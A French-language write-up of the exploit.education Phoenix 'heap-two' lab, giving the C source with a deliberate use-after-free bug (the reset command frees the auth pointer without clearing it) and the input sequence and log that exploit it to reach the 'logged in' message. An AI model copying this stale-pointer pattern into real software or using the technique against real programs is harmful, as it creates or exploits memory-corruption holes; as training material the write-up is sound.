Phoenix exploit education heap-two
Heap two
“Use after free”
Le source
/*
* phoenix/heap-two, by https://exploit.education
*
* This level examines what can happen when heap pointers are stale. This level
* is completed when you see the "you have logged in already!" message.
*
* My dog would, without fail, always chase people on a bike. As soon as he saw
* someone, he would immediately take off. I spoke to the vet to see if they
* could be of any help, but they weren't. I spoke to several different dog
* behaviouralists to see if they have any ideas on how to stop getting him
* chasing people on a bike. The dog behaviouralists were unable to help. I
* searched high and low to work out ways to find a way to stop him from
* chasing people on a bike, to no avail. Eventually, I had no choice but to
* take the bike away from him.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv) {
char line[128];
printf("%s\n", BANNER);
while (1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if (fgets(line, sizeof(line), stdin) == NULL) break;
if (strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(struct auth));
memset(auth, 0, sizeof(struct auth));
if (strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if (strncmp(line, "reset", 5) == 0) {
free(auth);
}
if (strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if (strncmp(line, "login", 5) == 0) {
if (auth && auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
Solution
Le programme boucle en proposant de saisir quatre commandes :
- auth : permet de saisir un nom et initialise un structure avec ce nom et un flag “authentifié” (auth) initialisé à zéro.
- reset : Libère la structure auth.
- service : alloue un buffer qui est affecté à la variable service et initialisé avec le contenu.
- login : Test le flag authentifié sinon demande un mot de passe. Le but est d’obtenir la réponse “you have logged in already!”
La faille est que la fonction reset ne réinitialise pas la mémoire. En particulier elle ne remet pas la variable auth à NULL. La variable est toujours utilisable et sur l’appel de la commande login, la première condition est encore valide (auth == vrai).
La variable auth pointe toujours sur le bloc libéré. La fonction service qui réalise indirectement un malloc via strdump va récupérer le buffer et initialiser un contenu avec ce qui est founrit sur la ligne tel que auth->auth ne soit plus à zero ce qui va débloquer la seconde condition (auth->auth == vrai).
Le programme nous accompagne en affichant l’adresse des deux variables auth et service.
Déroulé de l’attaque
auth myname
01234567890123456789012345678901
myname 0000
reset
myname 0000
Le chunck est libéré mais la variable auth est toujours utilisable.
La fonction service va se ré allouer le même chunck vers lequel pointe la variable auth.
serviceAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDX
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDX
login
Execution
[ auth = 0, service = 0 ]
auth jce
[ auth = 0x8049af0, service = 0 ]
rester
[ auth = 0x8049af0, service = 0 ]
reset
[ auth = 0x8049af0, service = 0 ]
serviceAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDD11
[ auth = 0x8049af0, service = 0x8049af0 ]
login
you have logged in already!